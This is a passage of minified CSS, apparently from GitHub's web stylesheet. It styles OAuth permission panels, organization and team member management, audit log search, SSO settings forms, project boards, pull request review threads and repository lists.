4px;margin-right:-2px;margin-left:-4px;font-style:normal;color:var(--color-fg-default);background:var(--color-search-keyword-hl);border-radius:6px}.oauth-permissions-details .permission-title{display:block;color:var(--color-fg-default)}.oauth-permissions-details a.btn-sm{float:right;margin-top:4px}.oauth-permissions-details.open a.btn-sm{background-color:#dcdcdc;background-image:none;border-color:#b5b5b5;box-shadow:inset 0 2px 4px rgba(0,0,0,.15)}.oauth-permissions-details.open .content{display:block}.oauth-permissions-details.default:not(.delete) .no-access,.oauth-permissions-details.default:not(.delete) .default-access,.oauth-permissions-details.none .no-access,.oauth-permissions-details.none .default-access{display:inline}.oauth-permissions-details.default:not(.delete) .access-details,.oauth-permissions-details.default:not(.delete) .permission-title,.oauth-permissions-details.none .access-details,.oauth-permissions-details.none .permission-title{color:var(--color-fg-muted)}.oauth-permissions-details.default:not(.delete) .octicon,.oauth-permissions-details.none .octicon{color:var(--color-fg-muted)}.oauth-permissions-details.default .default-access{display:inline}.oauth-permissions-details.full .full-access{display:inline}.oauth-details-toggle{position:absolute;top:0;right:0;padding:16px 16px}.oauth-details-toggle .octicon-chevron-up{display:none}.open .oauth-details-toggle .octicon-chevron-down{display:none}.open .oauth-details-toggle .octicon-chevron-up{display:block}.oauth-user-permissions .full-access,.oauth-user-permissions .limited-access,.oauth-user-permissions .limited-access-emails-followers,.oauth-user-permissions .limited-access-emails-profile,.oauth-user-permissions .limited-access-followers-profile,.oauth-user-permissions .limited-access-profile,.oauth-user-permissions .limited-access-followers,.oauth-user-permissions .limited-access-emails,.oauth-user-permissions .no-access{display:none}.oauth-user-permissions.limited.limited-email .limited-access-emails{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails-profile{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access{display:inline}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-followers{display:none}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails-followers{display:inline}.oauth-user-permissions.limited.limited-follow .limited-access-followers{display:inline}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers,.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers-profile{display:inline}.oauth-user-permissions.limited.limited-profile .limited-access-profile{display:inline}.oauth-repo-permissions .default-access,.oauth-repo-permissions .public-access,.oauth-repo-permissions .limited-repo-invite-access,.oauth-repo-permissions .full-access{display:none}.oauth-repo-permissions.full .full-access{display:inline}.oauth-repo-permissions.limited-repo-invite .limited-repo-invite-access{display:inline}.oauth-repo-permissions.public .public-access{display:inline}.oauth-repo-permissions.default .default-access{display:inline}.oauth-delete-repo-permissions .octicon-alert{color:var(--color-danger-fg)}.oauth-repo-status-permissions .no-access,.oauth-repo-status-permissions .full-access,.oauth-repo-deployment-permissions .no-access,.oauth-repo-deployment-permissions .full-access{display:none}.oauth-notifications-permissions .no-access,.oauth-notifications-permissions .read-access,.oauth-notifications-permissions .via-public-access,.oauth-notifications-permissions .via-full-access{display:none}.oauth-notifications-permissions.read .read-access{display:inline}.oauth-notifications-permissions.via-public .via-public-access{display:inline}.oauth-notifications-permissions.via-public .octicon{display:none}.oauth-notifications-permissions.via-full .via-full-access{display:inline}.oauth-gist-permissions .no-access,.oauth-gist-permissions .full-access{display:none}.oauth-granular-permissions .no-access,.oauth-granular-permissions .read-access,.oauth-granular-permissions .write-access,.oauth-granular-permissions .full-access{display:none}.oauth-granular-permissions.none .no-access{display:inline}.oauth-granular-permissions.read .read-access{display:inline}.oauth-granular-permissions.write .write-access{display:inline}.oauth-granular-permissions.full .full-access{display:inline}.oauth-no-description{color:var(--color-fg-muted)}.oauth-org-access-details{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item:hover{background:var(--color-canvas-subtle)}.oauth-org-access-details a:hover{text-decoration:none}.oauth-org-access-details .boxed-group-inner{border:0;border-radius:6px}.oauth-org-access-details .oauth-org-item{line-height:24px}.oauth-org-access-details .oauth-org-item:first-child{border-radius:6px 6px 0 0}.oauth-org-access-details .oauth-org-item .loading-indicator{display:none;margin:4px}.oauth-org-access-details .oauth-org-item.on .authorized-tools{display:block}.oauth-org-access-details .oauth-org-item.on .unauthorized-tools{display:none}.oauth-org-access-details .oauth-org-item.on strong{color:var(--color-fg-default)}.oauth-org-access-details .oauth-org-item.on .octicon-check{display:inline}.oauth-org-access-details .oauth-org-item.on .octicon-x{display:none}.oauth-org-access-details .oauth-org-item.revoked{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item.revoked .unauthorized-tools,.oauth-org-access-details .oauth-org-item.revoked .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.revoked .octicon-x{color:var(--color-danger-fg)}.oauth-org-access-details .oauth-org-item.loading .unauthorized-tools,.oauth-org-access-details .oauth-org-item.loading .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.loading .loading-indicator{display:block}.oauth-org-access-details .oauth-org-item .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item .unauthorized-tools{display:block}.oauth-org-access-details .btn{line-height:1.5em}.oauth-org-access-details .octicon{color:var(--color-fg-muted)}.oauth-org-access-details .octicon-check{display:none;color:var(--color-success-fg)}.oauth-org-access-details .octicon-x{display:inline}.oauth-org-access-details .octicon-x.org-access-denied{color:var(--color-danger-fg)}.permission-title{margin-top:0}.boxed-group-inner .oauth-application-info{margin-bottom:8px}.oauth-application-info .application-title{font-size:32px;color:var(--color-fg-default)}.oauth-application-info .application-description{margin-top:4px;margin-bottom:0}.oauth-application-info .listgroup-item{line-height:inherit}.oauth-application-info .app-denied,.oauth-application-info .app-approved{margin-left:8px;font-size:14px;font-weight:400;white-space:nowrap}.oauth-application-info .app-approved,.oauth-application-info .octicon-check{color:var(--color-success-fg)}.oauth-application-info .app-denied,.oauth-application-info .octicon-x{color:var(--color-severe-fg)}.app-transfer-actions form{display:inline}.developer-app-item .developer-app-avatar-cell{width:60px}.developer-app-item .developer-app-name{font-size:14px;font-weight:600;line-height:1.25;color:var(--color-fg-default)}.developer-app-item .developer-app-name:hover{color:var(--color-accent-fg);text-decoration:none}.developer-app-item .developer-app-info-cell{padding-left:0}.developer-app-item .developer-app-list-meta{margin-top:4px;margin-bottom:2px;font-weight:400;color:var(--color-fg-muted)}.org-transfer-requests{margin:8px 0 16px}.toggle-secret-field .secret-standin{display:block}.toggle-secret-field .secret-field{display:none}.toggle-secret-field.open .secret-standin{display:none}.toggle-secret-field.open .secret-field{display:block}.invitation-2fa-banner{margin-right:-24px;margin-left:-24px}.sign-up-via-invitation .bleed-flush{width:100%;padding:0 16px;margin-left:-16px;border-color:var(--color-border-default)}.sign-up-via-invitation label{font-size:14px}.orghead{padding-top:16px;padding-bottom:0;margin-bottom:16px;color:var(--color-fg-default);background-color:var(--color-page-header-bg);border-bottom:1px solid var(--color-border-default)}.orghead .orgnav{position:relative;top:1px;margin-top:8px}.org-repos .TableObject-item--primary{white-space:normal}.org-name{font-weight:400;color:var(--color-fg-default)}.audit-log-search .member-info{width:300px}.audit-log-search .member-info .member-avatar{float:left;margin-right:16px}.audit-log-search .member-info .member-link{display:block}.audit-log-search .member-info .member-list-avatar{margin-right:0}.audit-log-search .member-info .ghost{display:inline-block;color:var(--color-fg-muted)}.audit-log-search .blankslate{border-top-left-radius:0;border-top-right-radius:0}.audit-log-search .export-phrase{margin:4px 0}.audit-results-actions{overflow:auto}.audit-search-clear{float:left;margin-bottom:16px;border:0}.audit-search-clear .issues-reset-query{margin-bottom:0}.audit-type{width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.audit-type .octicon{margin-right:4px;font-weight:400;vertical-align:bottom}.audit-type .repo{color:var(--color-severe-fg)}.audit-type .team{color:var(--color-success-fg)}.audit-type .user{color:var(--color-done-fg)}.audit-type .oauth_access{color:var(--color-danger-fg)}.audit-type .hook{color:#e1bf4e}.export-phrase{margin-top:4px}.export-phrase pre{padding-left:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;white-space:pre-wrap;border-left:1px solid var(--color-border-muted)}.two-factor-enforcement-form .loading-spinner{float:left;margin:0 0 0 -16px;vertical-align:middle}.saml-enabled-banner-container{background-color:var(--color-canvas-default)}.saml-settings-form .test-status-indicator,.oidc-settings-form .test-status-indicator{width:30px;height:30px;margin-top:-4px;border-radius:50%}.saml-settings-form .test-status-indicator .octicon,.oidc-settings-form .test-status-indicator .octicon{display:block;margin-top:8px;margin-right:auto;margin-left:auto}.saml-settings-form .form-group.errored,.oidc-settings-form .form-group.errored{margin-bottom:40px}.saml-settings-form .test-status-indicator-error,.oidc-settings-form .test-status-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis)}.saml-settings-form .test-status-indicator-success,.oidc-settings-form .test-status-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.saml-settings-form .details-container .method-field,.oidc-settings-form .details-container .method-field{display:none}.saml-settings-form .details-container .method-label,.oidc-settings-form .details-container .method-label{font-weight:400}.saml-settings-form .details-container .details-target,.oidc-settings-form .details-container .details-target{cursor:pointer}.saml-settings-form .details-container.open .method-value,.saml-settings-form .details-container.open .details-target,.oidc-settings-form .details-container.open .method-value,.oidc-settings-form .details-container.open .details-target{display:none}.saml-settings-form .details-container.open .method-field,.oidc-settings-form .details-container.open .method-field{display:inline-block}.saml-settings-form .saml-enforcement-disabled,.oidc-settings-form .saml-enforcement-disabled{opacity:.5}.form-group .form-control.saml-certificate-field{width:440px;height:150px;min-height:0}.member-avatar{float:left;margin:1px}.member-fullname{color:var(--color-fg-muted)}.auto-search-group{position:relative}.auto-search-group .auto-search-input{padding-left:32px}.auto-search-group .spinner,.auto-search-group>.octicon{position:absolute;left:10px;z-index:5;width:16px;height:16px}.auto-search-group .spinner{top:9px;background-color:var(--color-canvas-default)}.auto-search-group>.octicon{top:10px;font-size:14px;color:var(--color-fg-muted);text-align:center}.org-list .list-item{position:relative;padding-top:16px;padding-bottom:16px;border-bottom:1px solid var(--color-border-muted)}.org-list .list-item::before{display:table;content:""}.org-list .list-item::after{display:table;clear:both;content:""}.permission-level-cell .select-menu-button{width:90px;text-align:left}.permission-level-cell .select-menu-button::after{position:absolute;top:10px;right:10px}.permission-level-cell .spinner{float:none;opacity:0;transition:opacity .2s ease-in-out}.permission-level-cell .is-loading .spinner{opacity:1}.select-menu-option-title{margin-top:0;margin-bottom:0}.reinstate-org-member{position:relative;width:500px;margin:40px auto}.reinstate-org-member .reinstate-lead{margin-bottom:32px;font-size:16px}.reinstate-org-member label{cursor:pointer}.reinstate-org-member .reinstate-detail-container{margin:16px 0}.reinstate-org-member .reinstate-title{color:var(--color-fg-default)}.reinstate-org-member .reinstate-title .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.permission-title{margin-top:0}.invite-member-results ul{margin:0}.team-member-list{list-style:none}.team-member-list .table-list-cell{padding-top:16px;padding-bottom:16px}.team-member-list .team-member-content{margin-left:50px}.team-member-list .team-member-username{margin:0;font-size:14px;font-weight:600;line-height:20px}.team-member-list .Label--secondary{cursor:default}.team-member-list .invite-icon{width:28px;color:var(--color-fg-muted)}.menu-item-danger,.menu-item-danger.selected{color:var(--color-danger-fg)}.menu-item-danger:hover,.menu-item-danger[aria-selected=true],.menu-item-danger.navigation-focus,.menu-item-danger.selected:hover,.menu-item-danger.selected[aria-selected=true],.menu-item-danger.selected.navigation-focus{color:var(--color-fg-on-emphasis);background:var(--color-danger-emphasis)}.team-member-list-avatar{float:left;margin-right:8px}.team-member-list-avatar .octicon{width:40px;color:var(--color-fg-muted)}.confirm-removal-list-container{margin-bottom:16px;border:1px solid var(--color-border-default);border-radius:6px}.confirm-removal-list-item{padding:8px;margin:0;font-size:14px;font-weight:600;border-top:1px solid var(--color-border-muted)}.confirm-removal-list-item:first-child{border-top:0}.manage-member-meta{list-style:none}.manage-member-meta-item{margin-top:12px;color:var(--color-fg-muted)}.manage-member-meta-item:first-child{margin-top:0}.manage-member-meta-item .btn-link{color:var(--color-fg-muted)}.manage-member-meta-item>.octicon{width:14px;margin-right:4px;color:var(--color-fg-muted);text-align:center}.manage-member-meta-item>.octicon-alert{color:var(--color-severe-fg)}.ldap-group-dn{display:block;font-weight:400;color:var(--color-fg-muted)}.ldap-import-groups-container .blankslate{display:none}.ldap-import-groups-container.is-empty .blankslate{display:block}.ldap-import-groups-container.is-empty .ldap-memberships-list{display:none}.ldap-memberships-list{margin-bottom:32px}.ldap-memberships-list .table-list-cell{padding-top:8px;padding-bottom:8px;font-size:12px;vertical-align:middle}.ldap-memberships-list .table-list-cell:last-child{width:92px}.ldap-memberships-list .ldap-list-team-name{width:380px}.ldap-memberships-list .ldap-group-dn{font-size:12px}.ldap-memberships-list .ldap-mention-as{width:260px}.ldap-memberships-list .edit{position:absolute;padding:8px;margin-left:-32px;color:var(--color-accent-fg);cursor:pointer}.ldap-memberships-list .edit-fields{display:none}.ldap-memberships-list .is-editing .edit-hide{display:none}.ldap-memberships-list .is-editing .edit-fields{display:block}.ldap-memberships-list .is-editing .spinner{margin-left:16px;vertical-align:middle}.ldap-memberships-list .is-removing{opacity:.25}.ldap-memberships-list .is-removing .edit{opacity:.5}.team-name-field{height:33px}.ldap-import-form-actions{margin-top:32px}.invited .team-member-list{margin:-16px 0}.invited .team-member-list .list-item{padding:8px 0;border-bottom:1px solid var(--color-border-muted)}.invited .team-member-list .list-item::before{display:table;content:""}.invited .team-member-list .list-item::after{display:table;clear:both;content:""}.invited .team-member-list .list-item:last-of-type{border:0}.invited .team-member-list .list-item .edit-invitation{float:right;margin-top:4px}.invited-banner::before{display:table;content:""}.invited-banner::after{display:table;clear:both;content:""}.invited-banner .btn-sm{float:right;margin-left:4px}.invited-banner p{font-size:14px;line-height:1.5}.invited-banner .inviter-link{font-weight:600}.manage-member-sso-sessions.has-active-sessions .blankslate{display:none}.org-menu-item:not([aria-current=page])+.org-sub-menu{display:none}.trial-banner-notice{background-image:linear-gradient(180deg, #0366d6 0%, #2188ff 100%)}@media(min-width: 768px){.Popover-message--extra-large{min-width:544px !important}}.theme-picker{margin-bottom:-1px;background-color:var(--color-canvas-default);background-clip:padding-box;border-bottom:1px solid var(--color-border-default);box-shadow:var(--color-shadow-medium)}.theme-picker>.container{position:relative;overflow:hidden;text-align:center}.theme-picker-thumbs{border-bottom:1px solid var(--color-border-muted)}.theme-toggle{width:32px;height:32px;padding:0;color:var(--color-fg-muted);background:none;border:0}.theme-toggle:hover{color:var(--color-accent-fg);text-decoration:none}.theme-toggle.disabled,.theme-toggle.disabled:hover{color:var(--color-fg-muted);cursor:not-allowed}.theme-toggle-full-left,.theme-toggle-full-right{position:absolute;top:50px;overflow:hidden}.theme-toggle-full-left{left:4px}.theme-toggle-full-right{right:4px}.theme-selector{height:102px;margin:16px 46px}.theme-selector-thumbnail{padding:2px;border:1px solid var(--color-border-muted)}.theme-selector-thumbnail:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.theme-selector-thumbnail.selected{padding:4px;background-color:var(--color-accent-emphasis);border:0}.theme-selector-thumbnail.selected .theme-selector-img{border:1px solid var(--color-canvas-default)}.theme-selector-img{width:126px;height:96px;border-radius:1px}.theme-picker-spinner{position:absolute;top:16px;left:50%;margin-left:-16px;background-color:var(--color-canvas-default);opacity:1;transition:.2s,opacity ease-in-out}.theme-picker-spinner~.theme-picker-controls .theme-name{opacity:0}.theme-picker-view-toggle{float:left}.theme-picker-view-toggle .for-hiding{display:none}.theme-picker-view-toggle.open .for-hiding{display:inline}.theme-picker-view-toggle.open .for-showing{display:none}.theme-picker-controls{position:absolute;top:15px;left:50%;width:220px;margin-left:-110px;line-height:34px;text-align:center}.theme-picker-controls .theme-toggle{vertical-align:middle}.theme-name{display:inline-block;margin-right:8px;margin-left:8px;font-size:20px;line-height:1;vertical-align:middle}.page-preview{z-index:-100;display:block;width:100%;height:6000px;padding:0;background-color:var(--color-canvas-default);border:0}.pinned-items-spinner{position:relative;top:2px;left:6px}.pinned-items-setting-link{font-size:12px;font-weight:400}.pinned-item-name{color:var(--color-fg-default)}.pinned-item-checkbox+.pinned-item-name:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg);border-radius:6px}.pinned-item-checkbox:disabled+.pinned-item-name{color:var(--color-fg-muted)}.pinned-item-checkbox:disabled+.pinned-item-name:hover{cursor:default}.pinned-gist-blob-num{min-width:36px;cursor:default}.pinned-gist-blob-num:hover{color:var(--color-fg-muted);cursor:default}@media print{#serverstats,.Header-old,.Header,.header-search,.reponav,.comment::before,.comment::after,.footer,.pagehead-actions,.discussion-timeline-actions,.timeline-comment-actions,.timeline-new-comment,.thread-subscription-status,.lock-toggle-link,.header,.file-actions,.js-expandable-line,.gh-header-sticky,.pr-toolbar.is-placeholder,.language-color{display:none !important}.repository-lang-stats-graph{height:0}.btn:not(.btn-outline){color:var(--color-fg-default) !important;background:none}p,.comment h2{page-break-inside:avoid}.markdown-body h2{page-break-after:avoid}.topic-tag{padding:0}.topic-tag::before{margin-right:-2px;content:"#"}.blob-num{border-right:2px solid var(--color-border-default)}.blob-num-deletion{border-right-color:var(--color-danger-emphasis)}.blob-num-addition{border-right-color:var(--color-success-emphasis)}.blob-code-addition .x{border-bottom:2px solid var(--color-success-emphasis);border-radius:0}.blob-code-deletion .x{border-bottom:2px solid var(--color-danger-emphasis);border-radius:0}.pr-toolbar.is-stuck{position:static !important;width:100% !important}.diffstat-block-neutral{border:4px solid var(--color-border-default)}.diffstat-block-deleted{border:4px solid var(--color-danger-emphasis)}.diffstat-block-added{border:4px solid var(--color-success-emphasis)}.State{color:var(--color-fg-default);background:none;border:1px solid var(--color-border-default);border-color:none}.State--open{color:var(--color-success-fg);border:1px solid #2cbe4e}.State--merged{color:var(--color-done-fg);border:1px solid var(--color-done-emphasis)}.State--closed{color:var(--color-danger-fg);border:1px solid var(--color-danger-emphasis)}.markdown-body pre>code{white-space:pre-wrap}}.projects-splash-dialog{position:fixed;top:0;right:auto;left:50%;z-index:999;width:90vw;max-width:700px;max-height:80vh;margin:10vh auto;transform:translateX(-50%)}@media(min-width: 544px){.projects-splash-dialog{margin:20vh auto}}.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-mobile.png");background-repeat:no-repeat;background-position:left;background-size:cover}@media(min-width: 768px){.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner.png")}}.projects-splash-banner p{max-width:100%}@media(min-width: 768px){.projects-splash-banner p{max-width:55%}}@media(min-width: 768px){[data-color-mode=light][data-light-theme*=dark] .projects-splash-banner,[data-color-mode=dark][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: light)and (min-width: 768px){[data-color-mode=auto][data-light-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: dark)and (min-width: 768px){[data-color-mode=auto][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}.project-description p:last-child{margin-bottom:0 !important}.pending-cards-status{top:-2px;right:-9px;width:14px;height:14px;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-canvas-default)}.project-column{min-width:100%;max-width:100%;background-color:var(--color-canvas-inset);border-width:0 !important;border-radius:0 !important}.project-column:focus{outline:none}@media(min-width: 544px){.project-column{min-width:355px;max-width:355px;border-width:1px !important;border-radius:6px !important}.project-column:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus)}}.project-column.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus);transform:translateX(4px) translateY(-4px)}.sortable-ghost{background-color:var(--color-canvas-subtle);opacity:.5}.project-card{background-color:var(--color-canvas-overlay)}.project-card .project-reference-markdown>p,.project-card:last-child{margin-bottom:0 !important}.project-card:first-child{margin-top:8px !important}@media(min-width: 544px){.project-card:first-child{margin-top:4px !important}}.project-card ul,.project-card ol{margin-bottom:8px;margin-left:16px}.project-card blockquote{padding:0 .75em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.project-card .contains-task-list{margin-left:24px}.project-card:hover{border-color:var(--color-border-default) !important;box-shadow:0 1px 3px rgba(106,115,125,.3) !important}.project-card:focus{outline:none}@media(min-width: 544px){.project-card:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus) !important}}.project-card.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus) !important;transform:translateX(4px) translateY(0)}.issue-card.draggable{cursor:move}.issue-card .AvatarStack:hover .from-avatar{margin-right:-4px}.issue-card pre{word-wrap:break-word;white-space:pre-wrap}@keyframes show-pane{0%{transform:translateX(390px)}100%{transform:translateX(0)}}.project-note-form textarea{resize:vertical}.card-menu-container .dropdown-menu,.column-menu-container .dropdown-menu{min-width:180px}.card-octicon{top:6px;left:10px}.card-note-octicon{top:8px}.is-sending .auto-search-group .chooser-spinner{top:15px;right:21px;left:auto}.card-filter-autocomplete-dropdown{z-index:500;float:none;min-width:240px;max-height:270px;cursor:pointer}.card-filter-autocomplete-dropdown [aria-selected=true],.card-filter-autocomplete-dropdown .navigation-focus{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis);border-radius:6px}.card-filter-autocomplete-dropdown [aria-selected=true] .autocomplete-text-qualifier,.card-filter-autocomplete-dropdown .navigation-focus .autocomplete-text-qualifier{color:var(--color-fg-on-emphasis) !important}.projects-reset-query:hover .projects-reset-query-icon{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis)}.projects-reset-query-icon{width:18px;height:18px;padding:1px;background-color:var(--color-fg-muted)}.project-small-menu-dropdown::before,.project-small-menu-dropdown::after{display:none}.project-edit-mode .column-menu-container,.project-edit-mode .column-menu-item{display:none !important}.project-edit-mode .project-move-actions{display:flex !important}.push-board-over{padding-right:0 !important;transition:all .2s ease}@media(min-width: 544px){.push-board-over{padding-right:360px !important}}.projects-comment-form .comment-md-support-link{float:none;width:100%;text-align:center}.projects-comment-form .comment-form-actions{width:100%;padding:8px 16px;margin:4px 0 !important}.projects-comment-form .comment-form-actions button{width:100%;margin:4px 0 !important}.projects-comment-form .comment-form-head{padding:0 !important;margin:0 !important;border-bottom:0}.projects-comment-form .comment-form-head .tabnav-tabs{padding:8px 8px 0}.projects-comment-form .comment-form-head .toolbar-commenting{width:100%;padding-top:4px;text-align:center;background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-default)}.projects-comment-form .comment-form-head::after{display:block;clear:both;content:" "}.projects-comment-form .comment-form-textarea{height:250px !important}.projects-comment-form .preview-content{margin:0;border-top:1px solid var(--color-border-default)}.projects-comment-form .preview-content .comment-body{padding:16px}.project-issue-body-wrapper{max-height:200px;overflow:hidden}.Details--on .project-issue-body-wrapper{max-height:none;overflow:visible}.project-issue-body-blur{height:32px;background:linear-gradient(to top, var(--color-project-gradient-in), var(--color-project-gradient-out))}.Details--on .project-issue-body-blur{height:0}.project-comment-title-hover .comment-action,.project-comment-body-hover .comment-action{opacity:0}.project-comment-title-hover:hover .comment-action,.project-comment-body-hover:hover .comment-action{opacity:1}.project-comment-body-reaction .timeline-comment-action{padding:4px 8px}.project-name-hover .project-name-edit-action{opacity:0}.project-name-hover:hover .project-name-edit-action{opacity:1}.vcard-fullname{font-size:24px;line-height:1.25}.vcard-username{font-size:20px;font-style:normal;font-weight:300;line-height:24px;color:var(--color-fg-muted)}.user-profile-bio-message{margin:4px 0 0;font-size:12px;color:var(--color-fg-default)}.user-profile-following-container .user-following-container.on .follow,.user-profile-following-container .user-following-container .unfollow{display:none}.user-profile-following-container .user-following-container .follow,.user-profile-following-container .user-following-container.on .unfollow{display:block}.user-repo-search-results-summary{white-space:normal}.pull-request-tab-content{display:none}.pull-request-tab-content.is-visible{display:block}.discussion-timeline p.explain{margin:0;font-size:12px}.pull-request-ref-restore{display:none}.pull-request-ref-restore-text{display:block}.pull-discussion-timeline.is-pull-restorable .pull-request-ref-restore.last{display:block}.files-bucket{margin-bottom:16px}.full-width .diffbar .container{padding-right:0;padding-left:0}.stale-files-tab{float:left;padding:4px 8px;margin-top:-4px;margin-bottom:-4px;color:var(--color-severe-fg);background-color:var(--color-severe-subtle);border-radius:6px}.stale-files-tab-link{font-weight:600;color:inherit}.pr-toolbar{position:sticky;top:0;z-index:29;min-height:60px;padding:0 16px;margin:-16px -16px 0}.pr-toolbar .float-right .diffbar-item{margin-right:0}.pr-toolbar .float-right .diffbar-item+.diffbar-item{margin-left:16px}.pr-toolbar.is-stuck{height:60px;background-color:var(--color-canvas-default)}@media(min-width: 1150px){.commit-build-statuses .status-checks-dropdown{width:500px}}.full-commit .commit-build-statuses .status-checks-dropdown{width:500px}.files-next-bucket .file,.files-next-bucket .full-commit{margin-top:0;margin-bottom:16px}.diffbar{background-color:var(--color-canvas-default)}.diffbar .show-if-stuck{display:none}.diffbar .container{width:auto}.diffbar .table-of-contents{margin-bottom:0}.diffbar .table-of-contents ol{margin-bottom:-16px}.diffbar .table-of-contents li{border-top:1px solid var(--color-border-muted)}.diffbar .table-of-contents li:first-child{border-top:0}.diffbar [role^=menuitem]:focus:not(.is-range-selected) .text-emphasized,.diffbar [role^=menuitem]:hover:not(.is-range-selected) .text-emphasized{color:var(--color-fg-on-emphasis)}.is-stuck .diffbar .show-if-stuck{display:block}.is-stuck .diffbar .diffstat{display:none}.is-stuck .diffbar .stale-files-tab{margin-top:-8px}.diffbar-item{float:left;font-size:12px;vertical-align:middle}.add-comment-label,.is-review-pending .start-review-label{display:none}.start-review-label,.is-review-pending .add-comment-label{display:inline-block}.is-review-pending .review-simple-reply-button{display:none}.review-comment-contents{margin-left:44px}.review-comment::after,.review-comment-loader::after,.review-comment.is-comment-editing::after{position:absolute;top:31px;left:29px;z-index:-1;width:3px;height:100%;content:"";background-color:var(--color-canvas-subtle)}.review-comment{position:relative;padding:8px 16px;color:var(--color-fg-default)}.review-comment:first-child{padding-top:16px}.review-comment:last-child{padding-bottom:16px}.review-comment .comment-body,.review-comment .comment-reactions{padding:0}.review-comment .comment-body{padding-top:4px}.review-comment .comment-body .suggested-change-form-container:nth-last-of-type(2){margin-bottom:0 !important}.review-comment .comment-reactions{margin-top:4px;border-top:0 !important}.review-comment .comment-reactions.has-reactions{margin-top:12px}.review-comment .show-more-popover.dropdown-menu-sw{right:-5px;margin-top:4px}.review-comment:last-child::after,.review-comment:last-child .review-comment-contents::after{display:none}.review-comment .timeline-comment-action{padding:0 4px}.review-comment .is-comment-editing{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.review-comment .is-comment-editing::after{top:100%;bottom:0;left:19px;height:20px}.review-comment .is-comment-editing .timeline-comment-actions,.review-comment .is-comment-editing .edit-comment-hide{display:none}.review-comment .is-comment-editing .previewable-comment-form{display:block}.review-comment.is-comment-loading .previewable-comment-form{opacity:.5}.pr-review-reactions .has-reactions,.pr-review-reactions .has-reactions.comment-reactions{margin-bottom:16px;margin-left:16px}.timeline-comment.is-comment-editing .discussion-item-header{display:none}.review-thread-reply{padding:8px 16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.review-thread-reply .inline-comment-form{margin:-8px -16px;background-color:var(--color-canvas-default);border:0}.review-thread-reply-button{display:inline-block;min-height:28px;padding:4px 8px;margin-left:8px;cursor:text}.readme.contributing>div{max-height:250px;overflow:auto}.readme .markdown-body,.readme .plain{word-wrap:break-word}.readme .plain pre{font-size:14px;white-space:pre-wrap}.file .readme table[data-table-type=yaml-metadata]{font-size:12px;line-height:1}.file .readme table[data-table-type=yaml-metadata] table{margin:0}.labels-list .blankslate{display:none}.labels-list .table-list-header{display:block}.labels-list.is-empty .blankslate{display:block}.labels-list.is-empty .table-list-header{display:none}.label-select-menu-item .g-emoji{font-size:12px;line-height:1;vertical-align:baseline}.label-edit::before{display:table;content:""}.label-edit::after{display:table;clear:both;content:""}.label-edit label{display:block;margin-bottom:8px}.label-edit .error{float:left;margin-top:8px;margin-left:8px;color:var(--color-danger-fg)}.label-edit.loading{display:block}.label-characters-remaining{color:var(--color-fg-muted)}.repo-list{position:relative}.repo-list-item{position:relative;padding-top:32px;padding-bottom:32px;list-style:none;border-bottom:1px solid var(--color-border-muted)}.repo-list-item-with-avatar{padding-left:42px}.repo-list-item-hanging-avatar{float:left;margin-left:-42px}.mini-repo-list-item{position:relative;display:block;padding:4px 64px 4px 32px;font-size:14px;border-top:1px solid var(--color-border-default)}.mini-repo-list-item:hover{text-decoration:none}.mini-repo-list-item:hover .repo,.mini-repo-list-item:hover .owner{text-decoration:underline}.mini-repo-list-item .repo-icon{float:left;margin-top:2px;margin-left:-16px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-and-owner{max-width:220px}.mini-repo-list-item .owner{max-width:110px}.mini-repo-list-item 